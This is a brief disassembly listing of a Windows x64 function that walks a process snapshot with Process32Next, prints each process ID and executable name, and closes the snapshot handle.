mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x140001d9c
mov eax, dword [rbp - 0x58]
lea rdx, [rbp - 0x60]
add rdx, 0x2c
mov r8, rdx
mov edx, eax
lea rax, str.Process_ID:__u__Executable_Name:__s_n
mov rcx, rax
call dbg.printf
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.Process32Next
test eax, eax
jne 0x140001d52
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x160
pop rbp
ret